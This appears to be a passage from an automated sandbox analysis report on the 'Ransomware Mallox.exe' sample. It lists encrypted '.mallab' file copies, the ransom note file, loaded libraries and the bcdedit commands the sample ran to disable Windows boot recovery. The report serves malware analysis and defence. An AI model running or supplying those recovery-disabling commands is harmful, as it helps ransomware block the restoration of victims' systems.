Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ru\strings.json.mallab (copy) entropy: 7.99799965204	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\sv\strings.json.mallab (copy) entropy: 7.99649833262	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\zh-Hant\strings.json.mallab (copy) entropy: 7.99654639154	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\super_coupon.json.mallab (copy) entropy: 7.99060232219	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout\checkoutdata.json.mallab (copy) entropy: 7.99561467794	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites-pre-stable.json.mallab (copy) entropy: 7.99872259358	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-checkout-eligible-sites.json.mallab (copy) entropy: 7.99967112013	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-pre-stable.json.mallab (copy) entropy: 7.99991027036	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-tokenization-config.json.mallab (copy) entropy: 7.99333575751	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\wallet\wallet-stable.json.mallab (copy) entropy: 7.999926007	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.mallab (copy) entropy: 7.99960744928	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.mallab (copy) entropy: 7.99961409317	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.mallab (copy) entropy: 7.99340700006	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.mallab (copy) entropy: 7.99946477727	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.mallab (copy) entropy: 7.99966553105	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.mallab (copy) entropy: 7.99988098005	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\GraphiteDawnCache\data_1.mallab (copy) entropy: 7.99931794453	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.mallab (copy) entropy: 7.99987873592	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\GraphiteDawnCache\index.mallab (copy) entropy: 7.9993395761	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.mallab (copy) entropy: 7.99993148825	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\GrShaderCache\data_1.mallab (copy) entropy: 7.99941095182	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\GrShaderCache\index.mallab (copy) entropy: 7.99931322398	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cu.hyb.mallab (copy) entropy: 7.99649950404	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-cy.hyb.mallab (copy) entropy: 7.99531674187	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1901.hyb.mallab (copy) entropy: 7.99838218583	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-1996.hyb.mallab (copy) entropy: 7.99840578371	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-de-ch-1901.hyb.mallab (copy) entropy: 7.99817774496	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-gb.hyb.mallab (copy) entropy: 7.9959948146	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-en-us.hyb.mallab (copy) entropy: 7.99687414401	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-es.hyb.mallab (copy) entropy: 7.99014807212	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-et.hyb.mallab (copy) entropy: 7.99055844966	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-ga.hyb.mallab (copy) entropy: 7.99490681172	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-nb.hyb.mallab (copy) entropy: 7.99882373101	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-hu.hyb.mallab (copy) entropy: 7.99947192949	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Local State.mallab (copy) entropy: 7.99574843287	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Nurturing\campaign_history.mallab (copy) entropy: 7.99194002223	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-nn.hyb.mallab (copy) entropy: 7.99886366816	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\PKIMetadata\7.0.0.0\crs.pb.mallab (copy) entropy: 7.9993405793	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\SafetyTips\2983\safety_tips.pb.mallab (copy) entropy: 7.99848529279	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\ShaderCache\data_1.mallab (copy) entropy: 7.9992696119	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Safe Browsing\ChromeExtMalware.store.mallab (copy) entropy: 7.99990939725	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSynchronousLookupUris_0.mallab (copy) entropy: 7.99485856112	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\ShaderCache\index.mallab (copy) entropy: 7.99934921178	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_636976985063396749.rel.v2.mallab (copy) entropy: 7.99377368752	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36\10.34.0.50\LICENSE.mallab (copy) entropy: 7.99213148783	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Filtering Rules-AA.mallab (copy) entropy: 7.99954265225	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36\10.34.0.50\Ruleset Data.mallab (copy) entropy: 7.99994647498	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Filtering Rules.mallab (copy) entropy: 7.9999030809	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\LICENSE.mallab (copy) entropy: 7.99238738986	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-ES.mallab (copy) entropy: 7.99867767456	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-DE.mallab (copy) entropy: 7.99918756428	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-FR.mallab (copy) entropy: 7.99976329397	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-NL.mallab (copy) entropy: 7.99640631538	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-IT.mallab (copy) entropy: 7.99962188682	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-RU.mallab (copy) entropy: 7.99984399197	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Typosquatting\1.20231005.1.0\typosquatting_list.pb.mallab (copy) entropy: 7.99884605306	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\Part-ZH.mallab (copy) entropy: 7.9997681404	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\Catalog\ListAll.Json.mallab (copy) entropy: 7.99963353865	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos\27160079615.ttf.mallab (copy) entropy: 7.999216542	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos\28315153308.ttf.mallab (copy) entropy: 7.99923967966	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos\29939506207.ttf.mallab (copy) entropy: 7.99924888035	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos\31169036496.ttf.mallab (copy) entropy: 7.99922492131	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos Display\28367963232.ttf.mallab (copy) entropy: 7.99922475466	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos Display\23001069669.ttf.mallab (copy) entropy: 7.99913044384	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos Display\30264859306.ttf.mallab (copy) entropy: 7.99923889626	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos Display\29442803203.ttf.mallab (copy) entropy: 7.99924512568	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\24153076628.ttf.mallab (copy) entropy: 7.99932645197	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\30284701761.ttf.mallab (copy) entropy: 7.99936215541	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\31558910439.ttf.mallab (copy) entropy: 7.99915877891	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\CloudFonts\Aptos Narrow\37262344671.ttf.mallab (copy) entropy: 7.99919997814	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_35.ttf.mallab (copy) entropy: 7.99972066721	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml.mallab (copy) entropy: 7.99646123947	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule440007v3.xml.mallab (copy) entropy: 7.99574178842	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.mallab (copy) entropy: 7.99981297348	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230170v1.xml.mallab (copy) entropy: 7.99345369718	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule230172v1.xml.mallab (copy) entropy: 7.99472162336	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230170v1.xml.mallab (copy) entropy: 7.99212583896	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule230172v1.xml.mallab (copy) entropy: 7.99354434551	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.mallab (copy) entropy: 7.99960219664	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\7FDF1322-9EAD-442A-85C2-C39D5CC6893F.mallab (copy) entropy: 7.9988577876	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\1975C9BF-831E-44E7-8FD4-112275A074AD.mallab (copy) entropy: 7.99891624036	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.mallab (copy) entropy: 7.99947755838	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.mallab (copy) entropy: 7.99224928527	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.mallab (copy) entropy: 7.99131015608	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.mallab (copy) entropy: 7.99192402378	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.mallab (copy) entropy: 7.9925769354	Jump to dropped file
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	File created: C:\Documents and Settings\user\Local Settings\Microsoft\OneDrive\setup\logs\Install_2023-10-05_095006_950-1db4.log.mallab (copy) entropy: 7.99379354576	Jump to dropped file

Source: C:\Users\user\Desktop\Ransomware Mallox.exe

Process Stats: CPU usage > 49%

Source: classification engine

Classification label: mal100.rans.spyw.evad.winEXE@12/1242@1/5

Source: C:\Users\user\Desktop\Ransomware Mallox.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2246122658-3693405117-2476756634-1003\bb7e5d0cf2dfb2b59be71d56e848e059_9e146be9-c76a-4720-bcdb-53011b87bd06

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7868:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03

Source: C:\Users\user\Desktop\Ransomware Mallox.exe

File created: C:\Documents and Settings\All Users\Microsoft\Diagnosis\Temp\DiagTrackTraceSlot_alternativeTrace\HOW TO BACK FILES.txt

Jump to behavior

Source: Ransomware Mallox.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Ransomware Mallox.exe

System information queried: HandleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Ransomware Mallox.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Ransomware Mallox.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Ransomware Mallox.exe

ReversingLabs: Detection: 81%

Source: unknown	Process created: C:\Users\user\Desktop\Ransomware Mallox.exe "C:\Users\user\Desktop\Ransomware Mallox.exe"
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {current} recoveryenabled no
Source: unknown	Process created: C:\Windows\System32\notepad.exe "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HOW TO BACK FILES.txt
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} bootstatuspolicy ignoreallfailures	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c bcdedit /set {current} recoveryenabled no	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {current} bootstatuspolicy ignoreallfailures
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\bcdedit.exe bcdedit /set {current} recoveryenabled no

Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Ransomware Mallox.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\bcdedit.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: efswrt.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: oleacc.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\notepad.exe	Section loaded: policymanager.dll
